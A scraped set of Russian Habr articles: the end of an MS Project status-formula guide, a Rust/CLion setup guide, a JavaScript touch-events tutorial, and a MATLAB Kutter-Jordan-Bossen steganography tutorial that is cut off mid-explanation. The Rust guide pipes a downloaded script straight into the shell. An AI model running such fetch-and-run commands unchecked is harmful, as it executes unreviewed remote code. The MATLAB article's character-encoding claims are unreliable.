* По плану. Задача не отстает. Она выполняется, но ее фактический процент завершения больше, чем плановый. Например, есть задача длительностью 10 дней. По истечении 5 дней, она выполнена на «90%», а согласно плану она должна быть выполнена только на половину (50%)
*Группы задач с задержкой:*
* **Задержка**
Задача выполняется, но фактический процент ее завершения ниже, чем плановый. Например, есть аналогичная задача длительностью 10 дней. По плану по истечении 9 дней задача уже должна быть выполнена на «90%», а фактически она выполнена только на половину (50%). Это частный случай простого варианта задачи с задержкой, когда задача по плану еще не должна быть завершена, но фактический прогресс меньше запланированного.
* **Задача просрочена**
Является частным случаем задач с задержкой. По плану такая задача должна быть завершена (100%) на момент отчетной даты, однако фактически это задача не завершена (<100%).
* **Задача не начата**
Является частным случаем задач с задержкой. По плану такая задача должна быть начата (>0%) на момент отчетной даты, однако фактически это задача еще не начата ( 0%).
* **Неактивная задача**
Такие задачи хоть редко, но иногда встречаются в планах-графиках, поэтому для них нужно задать соответствующий индикатор, чтобы программа не вводила вас в заблуждение. Например, задача может оказаться просроченной, а фактически она таковой быть не может, поскольку выполнять ее не требуется.
#### Анализ задач
* **Статус «Завершено»**
**Рекомендуется** отмечать такие задачи перед проектной командой, чтобы показывать прогресс приближения к намеченной цели, тем самым увеличивая позитивную мотивацию участников команды.
**Не рекомендуется** тратить время на «проектных комитетах», для того, чтобы детально отчитаться перед куратором или заказчиком о проделанной работе. На таких встречах гораздо эффективнее обсуждать проблемы, риски и предстоящие планы на ближайшее будущее.
* **Статус «Будущая задача»**
Нет смысла анализировать все задачи, которые начнутся в будущем. Однако имеет смысл обратить внимание на задачи, которые начнутся в ближайший период. (Для этого удобно применять фильтры, но об этом в другой статье).
* **Статус «Задача просрочена»**
**Важно.** У планировщиков считается **преступлением**, когда в вашем плане присутствуют такие задачи! Для таких задач, всегда должен быть предоставлен прогноз завершения.
* **Статус «Задача не начата»**
**Важно.** Так как начало таких задач просрочено, то необходимо запрашивать прогноз начала выполнения. На практике нередко бывает, что начало таких задач зависит от окончания просроченных задач либо от выполняющихся задач, не включенных в план.
* **Статус «Задержка»**
На практике не часто уделяют внимание задачам, которые еще не должны быть закончены, однако не будет лишним уточнить у исполнителей, будет ли завершена задача к намеченному сроку. В случае отрицательного ответа нужно запросить прогноз окончания, чтобы задача не оказалась впоследствии просроченной.
#### Практическое использование индикаторов
Индикация является частичной автоматизацией процесса контроля проекта. Индикаторы моментально сигнализируют пользователям плана о статусах задач. Вместо того чтобы в голове рассчитывать статусы задач, за вас это делает программа. Далее при проработке проблемных задач вы получаете «живой» план-график работ, который будет являться навигатором для вашего проекта.
##### Алгоритм актуализации плана
Настоятельно рекомендую регулярно проводить контроль хода выполнения проекта. Это стоит делать 1 раз в неделю или 2 раза в неделю. В процессе контроля нужно следовать алгоритму:
1. Собирать и проставлять проценты завершения задач
2. Запрашивать и проставлять прогнозы окончания задач со статусом «Задача просрочена»
3. Запрашивать и проставлять прогнозы начала задач со статусом «Задача не начата»
4. Включать в план забытые работы, которые тормозят выполнение «не начатых» задач
**В результате** вы всегда будете иметь актуальный план (расписание проекта) и прогнозы наступления итоговых событий (завершение проекта, этапа).
#### Типичные примеры
Для всех примеров начало одинаковое. Вы проставили проценты выполнения работ. Далее программа автоматически рассчитала статусы задач. На последующих примерах будет показано, как с этой информацией работать.
##### Пример 1
Видим, что в плане есть завершенные задачи — хвалим за это исполнителей, а также просроченные задачи (как поступать -см. ниже пример 2).
##### Пример 2
###### Проблема
В плане присутствуют просроченные и не начатые задачи.
Например, задача по разработке дизайна внутренних страниц не завершена (*просроченная задача*), поэтому верстальщик не может приступить к своей задаче (*не начатая задача*).
##### Решение
Необходимо уточнить у дизайнера, когда будет завершена отрисовка макетов и когда они будут переданы верстальщику. Дата начала верстки автоматически рассчитается программой.
В итоге в плане будут отсутствовать просроченные и не начатые задачи.
##### Пример 3
###### Проблема
В плане присутствуют просроченные и не начатые задачи.
Например, у вас есть ряд выполненных задач, но последующие задачи по интеграции со смежной системой заказчика до сих пор не начаты.
###### Решение
Как выяснилось, вы не можете приступить к работе по интеграции, поскольку заказчик вам не передал выгрузку из БД и реквизиты для интеграции. Изначально в плане не были отмечены задачи заказчика по предоставлению этих данных, и не отмечен результат, который должен быть предоставлен для начала работ по интеграции. Эта информация держалась в голове, все надеялись на заказчика, ведь это же его работа.
Следовательно, в этой ситуации необходимо добавить эту задачу и веху о предоставлении результат для начала следующей задачи в План. Если бы эти задачи были запланированы заранее, то «пинание» заказчика началось бы гораздо раньше.
В итоге в плане будут отсутствовать просроченные и не начатые задачи.
#### Прогноз завершения проекта (этапа)
Одним из предназначений, ради которых актуализируется план, является получение прогноза завершения проекта (этапа или другого контрольного события). В этой статье не будет рассматриваться применение базового плана для измерения отклонений каждой задачи. Однако используя одну простую опцию MS Project, можно всегда получать информацию об отклонении контрольных событий.
**Совет.** Во время первоначального планирования задайте «Крайний срок» для крупных суммарных задач (таких как суммарная задача проекта/этапа) и/или контрольных вех. Для этого зайдите в «Сведения о задаче», перейдите на вкладку «Дополнительно» и задайте в ней «Крайний срок». На диаграмме он будет отмечен зеленой стрелочкой. Относительно этой точки вы всегда будете измерять отклонение.
#### Замечание
В приведенных выше примерах не рассматривается вопрос, сколько процентов составляет отклонение по задачам. Рекомендую декомпозировать задачи на задачи длительностью не более чем отчетный период. Например, у вас совещание по статусу проекта проходит 1 раз в неделю, значит, длительность задачи по возможности не должна превышать 5 рабочих дней. В этом случае будет не так важно, отклонение составляет 20% или 34,5%. Вы будете концентрироваться на результаты выполнения небольших задач, нежели чем на процент выполнения длительных задач, который не так просто измерить.
#### Формулы
##### Интегрированный статус отклонения задач относительно Плана
`IIf(Not [Активная];"Неактивная";
IIf([% завершения]=100;"Завершено";
IIf([Веха];
Switch(
([% завершения]<100) And ([Начало]>[Дата отчета о состоянии]);"Будущая задача";
([% завершения]<100) And ([Начало]=[Дата отчета о состоянии]);"Задача не начата";
([% завершения]<100) And ([Начало]<[Дата отчета о состоянии]);"Задача просрочена");
Switch(
(IIf(ProjDateDiff([Окончание];[Дата отчета о состоянии])>0;100;ProjDateDiff([Начало];[Дата отчета о состоянии])/[Длительность]*100)<=[% завершения]) And ([Начало]<=[Дата отчета о состоянии]);"По плану";
[Начало]>[Дата отчета о состоянии];"Будущая задача";
([% завершения]<100) And [Окончание]<[Дата отчета о состоянии];"Окончание просрочено";
([% завершения]=0) And ([Начало]<=[Дата отчета о состоянии]) And ([Окончание]>=[Дата отчета о состоянии]);"Начало просрочено";
(IIf(ProjDateDiff([Окончание];[Дата отчета о состоянии])>0;100;ProjDateDiff([Начало];[Дата отчета о состоянии])/[Длительность]*100)>[% завершения]) And ([Окончание]>=[Дата отчета о состоянии]);"Задержка")
)
)
)`
##### Плановый процент завершения задач
Используется в приведенной выше формуле. Однако выделяю ее отдельно, возможно вам понадобится для построения других формул
`IIf([Веха];
IIf([Начало]>=[Дата отчета о состоянии];0;100);
IIf([Начало]>=[Дата отчета о состоянии];0;
IIf(ProjDateDiff([Окончание];[Дата отчета о состоянии])>0;100;ProjDateDiff([Начало];[Дата отчета о состоянии])/[Длительность]*100)
)
)`
*Замечание. Для суммарных задач этот процент не всегда рассчитывается актуально в виду ограниченных возможностей MS Project по использованию формул для суммарных задач.* | https://habr.com/ru/post/218885/ | null | ru | null |
# Rust + CLion = Любовь
Привет, Хабр! В общем как я обещал вот рассказ о том как CLion в качестве IDE для Rust на MacOS использовать. Почему не IntelliJ IDEA? Потому что CLion может дебажить. Почему LLDB, а не GDB? Потому что LLDB у меня вместе с XCode был установлен. Мне нравится эта IDE, и поэтому я решил рассказать про нее вам. Если вам стало интересно, то добро пожаловать под кат.
### Установка Rust
Просто выполните в терминале команду:
```
curl https://sh.rustup.rs -sSf | sh
```
и следуйте инструкциям.
Так же можно установить fmt — утилиту для форматирования и clippy — утилиту для статического анализа кода. Если они поддерживаются вашей операционной системой. У меня на Windows и Ubuntu они таки работают, а на Маке нет. Хотя может уже ситуация изменилась.
```
rustup component add rustfmt
```
```
rustup component add clippy
```
### Установка LLDB
Если вы не ставили XCode, то выполните в терминале команду
```
lldb
```
и следуйте инструкциям.
### Установка CLion
Скачайте на официальном сайте. Ссылка: [Тык](https://www.jetbrains.com/clion/specials/clion/clion.html). Ну и как обычно, следуйте инструкциям.
### Установка плагина
1. Запустите CLion и нажмите на кнопку Configure
2. Зайдите в Plugins
3. Установите плагин
### Настройка тулчейна
1. Создайте новый проект
2. Добавьте стандартную библиотеку нажав на ссылку или указав путь к установленной
3. Выберите LLDB в качестве дебагера
4. Выберите удобные для вас настройки для Rust
### Добавление конфигураций для запуска
1. Нажмите Add configuration
2. Выберите Cargo Command
3. 
4. 
### Отладка
1. Поставьте брейкпойнт и нажмите на кнопочку с жучком
2. Внизу вы увидите окошко со стеком вызова и значениями переменных 
### Персонализация
1. Зайдите в настройки
2. Вы можете выставить разные цвета для трейтов, структур, энумов и т. п.
3. Настройте удобные для вас комбинации
### Cargo
Есть окошко для работы с Cargo
 | https://habr.com/ru/post/448820/ | null | ru | null |
# Как ваш браузер обрабатывает прикосновения к экрану телефона (js touch events)
→ [Ссылка на github](https://github.com/fakt309/imager)
### Вступление
Недавно я писал компонент для React минималистичной галереи картинок. Чтобы мой компонент обрабатывал всеми привычные touch события (такие как свайп влево/вправо, для переключение картинок, или свайп вверх, чтобы закрыть галерею, зум и т.п.) мне пришлось разобраться как работают события прикосновения в javascript. Здесь я поделюсь своим опытом и постараюсь максимально подробно рассказать все основные фитчи которые есть в вашем javascript для обработки прикосновение к дисплею.
Еще немного отступления
-----------------------
Вообще в английской терминологии часто используют следующие термины:
* Tap (тап = нажатие) - вы прикасаетесь к экрану одним пальцем и сразу же убираете его, не двигая по дисплею, тем самым имитируя клик мыши
* Swipe (свайп = смахивание) - вы как бы чиркаете по вашему экрану, то есть прикасаетесь одним пальцем, быстро проводите по нему и сразу же убираете палец. Как правило здесь выделяют четыре направления: вверх, вниз, вправо, влево (например свайпни вправо), чаще всего нужно для имитации нажатия стрелочки на вашей клавиатуре.
* Pich-to-zoom (пинч зум или зум = ущипнуть чтобы увеличить) - вы прикасаетесь двумя пальцами и разводите из в противоположные стороны к друг другу или от друг друга, чаще всего нужно для имитации прокрутки колеса мыши.
* Также есть и другие менее популярные термины (такие как drag и т.п.), но не суть в них, javascript все равно не мыслит такими категориями и для нашего браузера все завязано на всего лишь четырёх событиях, с помощью которых можно реализовать все выше перечисленные действия и даже больше.
События прикосновения
---------------------
В javascript существует 4 события которые вызываются при вашем прикосновении. Сами события помечаются как touch, именно как касание, а не finger например, потому что предполагается, что вы касаетесь, но чем именно неважно, например локтем или носом. То есть разработчики изначально разрабатывали интерфейс для более широких возможностей, чем только пальцы.
```
el.addEventListener('touchstart', () => { console.log('start') }); // el.ontouchstart = () => { console.log('start') };
el.addEventListener('touchend', () => { console.log('end') }); // el.ontouchstart = () => { console.log('start') };
el.addEventListener('touchmove', () => { console.log('move') }); // el.ontouchstart = () => { console.log('start') };
el.addEventListener('touchcancel', () => { console.log('cancel') }); // el.ontouchstart = () => { console.log('start') };
```
Как вы можете видеть выше эти события `touchstart`, `touchend`, `touchcancel`, `touchmove` и все они возвращают объект с интерфейсом `TouchEvent`.
* `touchstart` - вызывается когда вы прикасаетесь к экрану, причем каждое касание вызывает это событие заново. Например, вы прикоснетесь одним пальцем, затем, не убирая первый палец, прикоснетесь другим, вызовутся два раза события. И даже если вы одновременно нажмете тремя пальцами, то вызовется три раза событие
* `touchend` - работает по точно такому же принципу как и `touchstart`, но когда вы убираете палец с экрана.
* `touchmove` - вызывается при любом движение любого пальца, например вы прикоснётесь к экрану и уберете его сразу, то данное событие не сработает, но если прикоснуться и провести куда-то, то оно сработает несколько раз в зависимости от того как долго вы будете двигать пальцем. Также если вы касаетесь тремя пальцами и двигаете только одним из трех, событие также срабатывает.
* `touchcancel` - данное событие срабатывает, если по каким-то причинам пришлось прервать ваше касание, например ваш палец сдвинулся за рамки окна приложения или вы касаетесь больше пальцами чем может поддерживать ваш телефон. Мне лично это событие ни разу не пригождалось, но кому-то оно может быть полезным.
Важная заметка
--------------
```
el.addEventListener('click', () => { console.log('click') }); // сработает
el.addEventListener('contextmenu', () => { console.log('contextmenu') });
el.addEventListener('dblclick', () => { console.log('dblclick') });
el.addEventListener('mousedown', () => { console.log('mousedown') }); // сработает
el.addEventListener('mouseenter', () => { console.log('mouseenter') }); // сработает
el.addEventListener('mouseleave', () => { console.log('mouseleave') });
el.addEventListener('mousemove', () => { console.log('mousemove') }); // сработает
el.addEventListener('mouseout', () => { console.log('mouseout') });
el.addEventListener('mouseover', () => { console.log('mouseover') }); // сработает
el.addEventListener('mouseup', () => { console.log('mouseup') }); // сработает
el.addEventListener('wheel', () => { console.log('wheel') });
```
Если вы привяжите к вашему элементу все события мыши, как это сделано выше, и попробуете на вашем телефоне тапнуть по нему, то есть нажать на элемент и не двигая палец убрать, то вы увидите, что все события сработают кроме, `dblclick`, `mouseleave`, `mouseout`Меня это и сейчас вводит в конфуз, почему tap обрабатывается как клик мыши, но вы сами можете проверить вставив код выше (по крайней мере на Chrome). Если же вы хотите, чтобы события мыши срабатывали только от мыши, то вот вам вариант как это можно обойти.
```
const isTouch = () => 'ontouchstart' in window || window.DocumentTouch && document instanceof window.DocumentTouch || navigator.maxTouchPoints > 0 || window.navigator.msMaxTouchPoints > 0
el.addEventListener('mousedown', (e) => {
if (isTouch()) return // если ваш экран поддерживает touch то взвращаем функцию
console.log('click')
});
```
То есть мы создаем функцию `isTouch`, которая определяет - поддерживает ли ваше устройство touch события, и если да, то мы возвращаем функцию.
Точки прикосновения
-------------------
Как уже было сказано все четыре события возвращают `TouchEvent`Объект который возвращает содержит три основные свойства, про которые мы будем дальше говорить. Эти свойства `changedTouches`, `touches` и `targetTouches`. Также еще [на сайте firefox](https://developer.mozilla.org/ru/docs/Web/API/TouchEvent#:~:text=TouchEvent.rotation,%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5%20%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B5%3A%201.0) описано два свойства это `rotation` и `scale`, которые показывают поворот и увеличение, но у меня они не работают в chrome и я смотрел у разных людей, у них также не возвращаются данные свойства. Напишите, если у кого-то эти свойства есть в комментариях.
Чем отличаются .changedTouches, .touches и .targetTouches
---------------------------------------------------------
Давайте рассмотрим картинку слева. Допустим у нас есть есть элемент, на который завязано события прикосновения `touchmove`, он обозначен серым квадратом. Далее мы прикасаемся тремя пальцами как показано на рисунке синими точками и двигаем этими пальцами вправо. Что же будет у нас в свойствах `.changedTouches`, `.touches` и `.targetTouches`. Свойство `.touches` всегда будет возвращать список `TouchList` всех трех пальцев. Вне зависимости от того мы двигаем всеми тремя пальцами или только первым или только третьим. `.targetTouches` также как и `.touches` всегда будет возвращать список пальцев, но только те которые находятся внутри элемента, в данном случае 1 и 2 пальцы, даже если мы будем двигать третьим пальцем вернет 1 и 2 пальцы. И последнее свойство `.changedTouches` возвращает те пальцы, которые изменили свое положение и которые были внутри элемента. Например, мы будем двигать только 1 и 3 пальцами, а 2 будет неподвижно прикасаться, то тогда вернет только 1 палец, потому что он двигается и находится внутри элемента.
Объект прикосновение Touch
--------------------------
Как уже было сказано выше три свойства `.changedTouches`, `.touches` и `.targetTouches` возвращают `TouchList` это массив всех прикосновений который содержит объекты с интерфейсом `Touch` Тут мы поговорим подробнее о том какие свойства он принимает.
**Идентификатор**
`.identifier` : данное свойство указывает уникальный id каждого прикосновения, таким образом вы всегда однозначно сможете определять каждое прикосновение пальца.
**Координаты**
Всего шесть свойств связанные с координатами есть у каждого объекта `Touch` Вот что мы имеем `.screenX`, `.screenY`, `.clientX`, `.clientY`, `.pageX`, `.pageY`
* `.clientX`, `.clientY` Как видно из картинки выше данные координаты отсчитываются от верхнего левого угла вашего окна.
* `.screenX`, `.screenY` Здесь уже точка отсчета координат от вашего экрана, на примере видно что часть вверху идет черная полоска, где показывается время затем идет поисковая строка, затем только окно сайта. В данных координатах все это учитываются.
* `.pageX`, `.pageY` За точку отсчета мы берем начала вашего документа то есть по сути это сумма скролла документа и координаты от окна `window.scrollTop + e.clientY`
**Область касания**
Сначала я хочу сразу оговориться что не все девайсы поддерживают данную функцию. Вы можете использовать эту функцию, предполагая, что у ваших пользователей продвинутые устройства поддерживающие распознавание области касания. Если особой необходимости нету, то лучше избежать этого. Как это работает: в объекте Touch также есть четыре свойства отвечающие за это `.radiusX`, `.radiusY`, `.rotationAngle`, `.force`. Любое прикосновение обрабатывается как эллипс в javascript даже если вы попробуете прикоснуться квадратным стилусом, это будет эллипс. Как вы можете понять из картинки эллипс описывается малой полуосью a, большой полуосью b и углом поворота эллипса alpha данным значениям соответствуют своства соответственно `.radiusY`, `.radiusX` и `.rotationAngle` Также есть свойство `.force` которое принимает значение от 0 до 1 и указывает с какой силой вы давите на экран, но еще раз повторюсь далеко не все устройства поддерживают данное свойство и как правило всегда возвращает значение 0.
Всем спасибо. [Ссылка на github](https://github.com/fakt309/imager) | https://habr.com/ru/post/592317/ | null | ru | null |
# Реализация метода Куттера-Джордана-Боссена в MATLAB
##### Введение
Доброго времени суток, пользователи Хабра!
В этой статье речь пойдет о программной реализации стеганографического метода Куттера-Джордана-Боссена в MATLAB.
Для тех, кто не знает, поясню: стеганография — это наука о скрытой передаче информации путём сохранения в тайне самого факта передачи. В данном методе текстовая информация записывается в изображение по определенному алгоритму. С самим алгоритмом вы можете ознакомиться в посте от 11 марта 2011 года [«Стеганографический метод Куттера-Джордана-Боссена».](http://habrahabr.ru/post/115287/) Более подробное описание алгоритма можно найти в статье Защелкина, Иващенко, Иванова [«Усовершенствование стеганографического скрытия данных Куттера-Джордана-Боссена»](http://www.khai.edu/csp/nauchportal/Arhiv/REKS/2013/REKS513/Zaschelk.pdf).
А теперь перейдем непосредственно к коду.
##### Основной скрипт
В связи, с достаточно большим объемом кода, записывать его в одной функции было неудобно, поэтому, код разбит на несколько функций. Скрипт, код которого приведен ниже, позволяет зашифровать текстовое сообщение в изображение, поочередно вызывая каждую функцию.
```
close all % закрывает все графические окна программы MATLAB
clear; % выполняет очистку рабочей области
clc; % выполняет очистку командного окна
% считывание исходного RGB-изображение
rgbImg = imread('BMW-e36.bmp');
% вывод на экран исходного изображения
figure(1)
imshow(rgbImg);
title(['Считанный файл *.bmp в режиме RGB']);
% считывание текста из файла
[ txt, bin_txt ]=read_txt();
disp(txt);
% запись считанной текстовой информации в синий канал изображния
[ rgbImgtxt, s, coords ]=KDB_write( rgbImg, bin_txt );
figure(2)
imshow( rgbImgtxt );
title([ 'Изображение со встроенной информацией' ]);
% Извлечение информации из синего канала изображения
[txt_new]=KDB_pull_out(rgbImgtxt,s,coords);
disp(txt_new)
```
Три первые строки не являются обязательными для корректной работы скрипта, однако позволяют сделать процесс работы со скриптом более удобным, убирая из памяти компьютера данные, полученные при прошлом вызове скрипта.
```
close all % закрывает все графические окна программы MATLAB
clear; % выполняет очистку рабочей области
clc; % выполняет очистку командного окна
```
Считывание изображения в переменную осуществляется с помощью команды imread, а в скобочках указывается название файла и при необходимости – путь к нему.
```
rgbImg = imread('BMW-e36.bmp');
```
Считанное изображение выводится на экран с помощью команды imshow, но для улучшения восприятия результата применяются команды figure (создание нового графического окна) и title (добавление названия в графическом окне).
```
% вывод на экран исходного изображения
figure(1)
imshow(rgbImg);
title(['Считанный файл *.bmp в режиме RGB']);
```
Считанное изображение.
Текстовое сообщение, которое необходимо зашифровать, необходимо считать из файла и преобразовать его в двоичный код. Эту задачу выполняет функция read\_txt. Данная функция возвращает в вызвавший ее скрипт две переменные txt, bin\_txt, в которые записан считанный текст в символьном, а также в двоичном виде. Для вывода текста на экран применена команда disp(txt).
```
% считывание текста из файла
[ txt, bin_txt ]=read_txt();
disp(txt);
```
Для записи информации в изображение вызывается функция KDB\_write. Для работы данной функции необходимо передать в нее значение следующих переменных: rgbImg, bin\_txt. В первой переменной записано исходное изображение, а во вторую – текст, преобразованный в двоичные числа. Функция возвращает значения следующих переменных: rgbImgtxt, s, coords.
В трехмерный массив rgbImgtxt записано изображение со встроенными данными. Вектор s хранит в себе размер двумерного массива bin\_txt. Трехмерный массив coords содержит координаты пикселей, которые подверглись изменению, и является своеобразным ключом для последующего извлечения встроенной информации. После выполнения функции на экран выводится изображение, со встроенными данными.
```
% запись считанной текстовой информации в синий канал изображения
[ rgbImgtxt, s, coords ]=KDB_write( rgbImg, bin_txt );
figure(2)
imshow( rgbImgtxt );
title([ 'Изображение со встроенной информацией' ]);
```
Функция KDB\_pull\_out выполняет извлечение встроенной информации из изображения и возвращает пользователю зашифрованный текст, который выводится на экран.
```
[txt_new]=KDB_pull_out(rgbImgtxt,s,coords);
disp(txt_new)
```
А теперь рассмотрим работу каждой функции по отдельности.
##### Функция считывания информации из текстового файла
После того, как было считано исходное изображение, необходимо считать текстовое сообщение. Для этого применяется функция read\_txt().
```
function [ txt, bin_txt ] = read_txt ( )
% Функция предназначена для считывания информации из текстового файла
% Функция открывает файл в режиме чтения и записывает его содержимое в
% переменную txt, которая возвращается вызвавшему ее скрипту
txt_r='';
txt='';
text1=fopen('message.txt','r');
while feof(text1)==0
line=fgetl(text1);
txt_r=char(txt_r,line);
end
fclose(text1);
txt(1,:)=txt_r(find((double(txt_r)>1040) + (double(txt_r)<1103)));
s=size(txt);
txt=txt(2:2:s(2));
bin_txt=dec2bin(double(txt))-'0';
end
```
Главной задачей данной функции является считывание информации из текстового документа и ее преобразование в оптимальный для встраивания вид.
Файл открывается с помощью функции fopen в режиме чтения, на что указывает параметр 'r'.
С помощью цикла while, будет выполняться считывание файла до тех пор, пока не будет достигнут его конец (тогда функция feof выдаст значение равное 1 и цикл прекратит выполнение).
В теле цикла выполняется функция fgetl, которая возвращает строку из файла, удаляя символ конца строки. Данная строка записывается в переменную line. После этого переменная line дописывается в конец текстовой переменной txt\_r.
После того, как информация получена, текстовый файл необходимо закрыть.
```
txt_r='';
txt='';
text1=fopen('message.txt','r');
while feof(text1)==0
line=fgetl(text1);
txt_r=char(txt_r,line);
end
fclose(text1);
```
После этого с помощью функции find в переменную txt, в одну строку, записываются только символы, которые в таблице ASKII находятся под номерами от 1040 до 1103 (в этот перечень попадают символы латинского алфавита, кириллицы, арабские цифры, знаки препинания). Для этого необходимо преобразовать переменную типа char в double.
Для преобразования текстовых символов в двоичной код выполняется перевод сначала в тип double, а затем используется функция dec2bin. Для того, чтобы получить окончательный результат в виде числового массива, а не строки, необходимо отнять от dec2bin(double(txt)) символ '0'. Матлаб выполнит эти действия с кодами символов и выдаст результат в числовой форме.
```
txt(1,:)=txt_r(find((double(txt_r)>1040) + (double(txt_r)<1103)));
s=size(txt);
txt=txt(2:2:s(2));
bin_txt=dec2bin(double(txt))-'0';
```
##### Функция записи информации в изображение
```
function [ rgbImgtxt, s, coords ] = KDB_write( rgbImg, bin_txt )
% Запись сообщения в изображение по алгоритму Куттера-Джордана-Боссена
% В данном методе шифрования 1 бит кодируется в 1 пикселе изображения,
% путем изменения яркости синего канала в зависимости от значения, записанного в данном бите
L=0.1; % Коэфициент, влияющий на яркость пикселя со встроенными данными
r=5; % Количество встраиваний каждого бита сообщения
s=size(bin_txt);
simg=size(rgbImg);
coordy=randi([4,simg(1)-3],s(1),s(2),r);
coordx=randi([4,simg(2)-3],s(1),s(2),r);
coords=cat(3, coordy, coordx);
rgbImgtxt=rgbImg;
for i=1 : s(1)
for j=1 : s(2)
for k=1 : r
% Яркость пикселя
Y=(0.298*rgbImg(coords(i,j,k),coords(i,j,k+3),1))+(0.586*rgbImg(coords(i,j,k),coords(i,j,k+3),2))+(0.114*rgbImg(coords(i,j,k),coords(i,j,k+3),3));
if (Y==0)
Y=5/L;
end
% Условный оператор определяющий в какую сторону необходимо
% изменить цвет пикселя
if (bin_txt(i,j)==1)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=double(rgbImg(coords(i,j,k), coords(i,j,k+3), 3)+L*Y);
else
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=double(rgbImg(coords(i,j,k), coords(i,j,k+3), 3)-L*Y);
end
if (rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)>255)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=255;
end
if (rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)<0)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=0;
end
end
end
end
end
```
Данная функция предназначена для встраивания информации по методу Куттера-Джордана-Боссена в изображение, сохраненное в формате bmp. Из основного скрипта в нее передается оригинальное изображение и двоичный код текста, который будет встраиваться.
Функция определяет размер массива с двоичными кодами символов и размер изображения. На основе полученных результатов генерируются случайным образом два трехмерных массива, содержащие координаты пикселей, в которые будет производиться встраивание. Количество слоев в каждом массиве зависит от значения переменной r, отвечает за то, сколько раз будет встроен один бит. В первом массиве записываются координаты по вертикали, а во втором – по горизонтали. Для удобства эти массивы объединяются в один трехмерный массив.
```
s=size(bin_txt);
simg=size(rgbImg);
coordy=randi([4,simg(1)-3],s(1),s(2),r);
coordx=randi([4,simg(2)-3],s(1),s(2),r);
coords=cat(3, coordy, coordx);
```
В функции используется три вложенных цикла. Два из них позволяют обращаться к соответствующим битам текстового сообщения, третий – выполняет повторную запись бита.
```
for i=1 : s(1)
for j=1 : s(2)
for k=1 : r
```
В переменную Y записывается яркость пикселя, в которой будет проводиться встраивание. Для ее определения необходимо определить значение яркости каждого канала. Изображение формата bmp хранится в виде трехмерной матрицы, состоящей из трех слоев. В каждом слое записано значение яркости для определенного цвета (от 0 до 255). Полученное значение яркости умножается на определенную константу и суммируется со значениями яркости других каналов. В случае, если значение яркость оказалось равным 0, необходимо присвоить переменной значение равное 5/L.
```
Y=(0.298*rgbImg(coords(i,j,k),coords(i,j,k+3),1))+(0.586*rgbImg(coords(i,j,k),coords(i,j,k+3),2))+(0.114*rgbImg(coords(i,j,k),coords(i,j,k+3),3));
if (Y==0)
Y=5/L;
end
```
Непосредственное встраивание информации происходит с помощью условного оператора. В случае если бит текстового сообщения равен 1, то яркость синего канала изображения увеличивается на величину, равную произведению L\*Y. В противном случае, от яркости синего канала изображения будет отниматься данная величина. Для того, чтобы избежать возможного переполнения, необходимо изменить тип данных uint8 на double.
```
if (bin_txt(i,j)==1)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=double(rgbImg(coords(i,j,k),coords(i,j,k+3),3)+L*Y);
else
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=double(rgbImg(coords(i,j,k),coords(i,j,k+3),3)-L*Y);
end
```
В случае, если после изменения яркости синего канала значение яркости превысило значение 255, то необходимо установить его равным 255. А если значение яркости стало меньше 0, то установить ее равным 0.
```
if (rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)>255)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=255;
end
if (rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)<0)
rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)=0;
end
```
После того, как будут выполнены все итерации циклов, сообщение будет полностью встроено в изображение. Визуально определить то, что было произведено встраивание – практически невозможно, особенно при небольшом объеме встраиваемого текста.
Функция возвращает в вызвавший ее скрипт три переменные: rgbImgtxt, s, coоrds.
Изображение со встроенной информацией
Увидеть внесенные в изображения изменения практически не возможно. В этом можно убедиться, сравнив увеличенные фрагменты изображения до и после встраивания в него информации.
Фрагмент оригинального изображения
Фрагмент изображения со встроенной информацией
##### Функция извлечения информации из изображения
```
function [ txt_new ]=KDB_pull_out( rgbImgtxt, s, coords )
% Извлечение сообщения из изображения по алгоритму Куттера-Джордана-Боссена
% Извлечение сообщения происходит путем прогнозирования яркости пикселя по
% яркости соседних пикселей. Значение бита сообщения определяется в
% зависимости от того больше или меньше яркость пикселя от спрогнозированной.
rgbImgprog=rgbImgtxt;
sigma=3;
r=5;
for i=1 : s(1)
for j=1 : s(2)
for k=1 : r
% Рассчетная яркость пикселя
rgbImgprog=(double(sum(rgbImgtxt(coords(i,j,k)-sigma:coords(i,j,k)+sigma,coords(i,j,k+3),3)))+double(sum(rgbImgtxt(coords(i,j,k),coords(i,j,k+3)-sigma:coords(i,j,k+3)+sigma,3)))-2*double(rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)))/(4*sigma);
% Условный оператор определяющий в какую сторону необходимо
% изменить цвет пикселя
del=double(rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3))-rgbImgprog;
if ( and(del==0,rgbImgprog==255) )
del=0.5;
end
if ( and(del==0,rgbImgprog==0) )
del=-0.5;
end
if ( del>0 )
kat(k)=1;
else
kat(k)=0;
end
end
txt_new_bin(i,j)=round(sum(kat)/r);
end
end
txt_new_doub=bin2dec(num2str(txt_new_bin));
s=size(txt_new_doub);
txt_new=char(reshape(txt_new_doub,s(2),s(1)));
end
```
Для работы функции в нее необходимо передать изображение со встроенной информацией, размер массива в котором были записаны двоичные коды символов, и массив с координатами пикселей, в которые производилось встраивание.
Переменная sigma задает количество пикселей, отстоящих от пикселя с измененной яркостью, по которым будет прогнозироваться начальная яркость.
Как и в предыдущей функции, здесь используются три цикла. Они отвечают за обращение к пикселям со встроенной информацией.
```
sigma=3;
r=5;
for i=1 : s(1)
for j=1 : s(2)
for k=1 : r
```
При каждой итерации цикла находится прогнозируемая яркость синего канала пикселя и сравнивается с фактической.
